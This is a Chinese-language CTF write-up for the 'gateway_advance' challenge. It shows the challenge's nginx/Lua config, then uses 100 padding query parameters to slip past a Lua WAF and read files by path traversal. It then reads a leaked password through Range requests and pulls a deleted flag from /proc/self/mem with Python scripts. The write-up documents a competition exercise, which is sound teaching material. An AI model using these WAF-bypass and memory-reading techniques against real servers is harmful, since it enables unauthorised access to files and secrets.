gateway_advance

只有一个ngnix.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
worker_processes 1;

events {
use epoll;
worker_connections 10240;
}

http {
include mime.types;
default_type text/html;
access_log off;
error_log /dev/null;
sendfile on;

init_by_lua_block {
f = io.open("/flag", "r")
f2 = io.open("/password", "r")
flag = f:read("*all")
password = f2:read("*all")
f:close()
password = string.gsub(password, "[\n\r]", "")
os.remove("/flag")
os.remove("/password")
}

server {
listen 80 default_server;
location / {
content_by_lua_block {
ngx.say("hello, world!")
}
}

location /static {
alias /www/;
access_by_lua_block {
if ngx.var.remote_addr ~= "127.0.0.1" then
ngx.exit(403)
end
}
add_header Accept-Ranges bytes;
}

location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}
add_header Content-Disposition "attachment; filename=download.txt";
proxy_pass http://127.0.0.1/static$arg_filename;
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
end
end
}
}

location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
if length > 1024 * 1024 then
length = 1024 * 1024
end
f:seek("set", start)
local content = f:read(length)
f:close()
ngx.say(content)
ngx.header["Content-Type"] = "application/octet-stream"
}
}
}
}

比较重要的几个点

  • /flag和/password都已经被删除
  • /download?filename可以下载文件,但是filename内容有过滤,最后会把filename拼接到http://127.0.0.1/static后面,并且这里/static有别名/www/,明显可以目录穿越
  • /download路由的输出中如果有特定字符会被替换为*
  • 获取password后可以通过/read_anywhere路由读一些系统文件,并且可以用http_x_gateway_filename指定文件名,http_x_gateway_start和http_x_gateway_length指定开始位置和长度

第一个漏洞点位于如下代码中

1
2
3
4
5
6
7
8
9
10
init_by_lua_block {
f = io.open("/flag", "r")
f2 = io.open("/password", "r")
flag = f:read("*all")
password = f2:read("*all")
f:close()
password = string.gsub(password, "[\n\r]", "")
os.remove("/flag")
os.remove("/password")
}

这里对f句柄进行了close,但是没有对f2句柄进行close,因此即使/password被删除,还是可以在/proc/self/fd/?中读取到

因此下一步需要想办法读取/proc/self/fd/?,那么肯定是通过/download?filename=../proc/self/fd/?来读,但是/被过滤了。

第二个漏洞位于如下代码

1
local args = ngx.req.get_uri_args()

使用nginx_lua做waf很多代码都只是使用默认值,如

1
2
local r_headers = ngx.req.get_headers()
local r_uri_args = ngx.req.get_uri_args()

然后开始检测,是否包含危险请求,但是根据nginx_lua官方说明ngx.req.get_uri_args(),ngx.req.get_post_args(),ngx.req.get_headers()这三个api,有最大长度限制,默认是100个

因此,当请求参数超过取得最大值限制,其后的参数将不会被lua读取,进而不会进行规则检测,比如当检测规则为information_schema字符串,如下请求是没有办法检测到攻击的:

1
/test.php?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a=%23information_schemas

因此,本题中我们可以这样来读取系统文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/download?a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&filename=../etc/passwd


root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin

当我们试图用这种方式去读取/proc/self/fd/?时,发现读取/proc/self/fd/6时有返回

1
2
3
4
/download?a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&filename=../proc/self/fd/6


**********************************************

可以知道应该是返回值里有被检测到的字符串,因此把返回内容全部替换为*了

针对这个问题,我们可以使用Range请求头进行分组读取,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /download?a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&filename=../proc/self/fd/6 HTTP/1.1
Host: 1.95.8.146:17794
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Range: bytes=0-5


passwo

这样就只会返回前六个字符,以此类推,我们就可以完整的把password读出来

1
passwordismemeispasswordsoneverwannagiveyouup

现在拥有了password,也就代表我们可以任意读取系统文件,但是由于/flag已经被删除,没法直接读。这里可以参考CatCTF的一道web题catcat,这道题的一部分代码如下:

1
2
3
if os.path.isfile("/flag"):  # 导入flag文件并删除掉
flag = cat("/flag")
os.remove("/flag")

可以看到这题也是把flag删掉了,最终是通过读取/proc/self/maps和/proc/self/mem来获得仍处于内存中的flag。那么本题也可以参考这个思路。

首先读取/proc/self/maps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

burp0_url = "http://1.95.34.119:17794/read_anywhere"
burp0_headers = {
"x-gateway-password": "passwordismemeispasswordsoneverwannagiveyouup",
"x-gateway-filename": "/proc/self/maps",
"x-gateway-start": "0",
"x-gateway-length": "1048576"
}
res = requests.get(burp0_url, headers=burp0_headers)
# print(res.text)

with open('maps.txt', 'w', encoding='utf-8') as file:
file.write(res.text)

从响应内容能看到有一个

1
7fceec1cd000-7fceec1ce000 rw-s 00000000 00:01 3361                       /dev/zero (deleted)

应该就是被删掉的flag

接下来把这个位置的mem内存读出来即可,注意这里的x-gateway-start应该填写7fceec1cd000转为十进制后的值,即140526701301760

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

def extract_flag_content(input_string: str):
# 定义要查找的标志
flag_start = "L3HCTF{"
# 在字符串中查找标志起始位置
start_index = input_string.find(flag_start)
if start_index == -1:
print("not found")
return
# 计算结束位置(起始位置 + 标志长度 + 30个字符)
end_index = start_index + len(flag_start) + 30
# 确保不超过字符串长度
content = input_string[start_index:end_index]
print(content)

burp0_url = "http://1.95.34.119:17794/read_anywhere"
burp0_headers = {
"x-gateway-password": "passwordismemeispasswordsoneverwannagiveyouup",
"x-gateway-filename": "/proc/self/mem",
"x-gateway-start": "140526701301760",
"x-gateway-length": "1048576"
}
res = requests.get(burp0_url, headers=burp0_headers)
extract_flag_content(res.text)